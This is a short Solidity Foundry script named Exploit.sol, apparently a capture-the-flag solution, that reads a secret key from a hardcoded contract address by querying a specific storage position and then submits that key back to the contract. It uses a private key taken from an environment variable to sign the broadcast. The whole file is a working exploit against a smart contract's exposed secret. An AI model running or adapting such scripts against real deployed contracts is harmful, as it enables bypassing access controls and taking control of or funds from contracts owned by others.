Exploit.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "lib/forge-std/src/Script.sol";


struct User {
    address r;
    bytes12 s;
}


interface IToken{

    function get(bytes32 _POSITION) external view returns (User memory ur);

    function submitkey(bytes12 key) external;
}

contract ExploitScript is Script {

    IToken public con2 = IToken(address(0xc769529CE1a080d6bcb5E7E87d6D62928b2b6E93));

    function setUp() public {}    

        
    function run() public {
        uint256 deployerPrivateKey = vm.envUint("ACC1_PRIVATE_KEY");
        vm.startBroadcast(deployerPrivateKey);

        User memory res = con2.get(bytes32(0xf5036f45ac04d10524e87447221c14189bc8a2f876b5e8285ac6c245c7536434));

        con2.submitkey(res.s);

        vm.stopBroadcast();
    }
}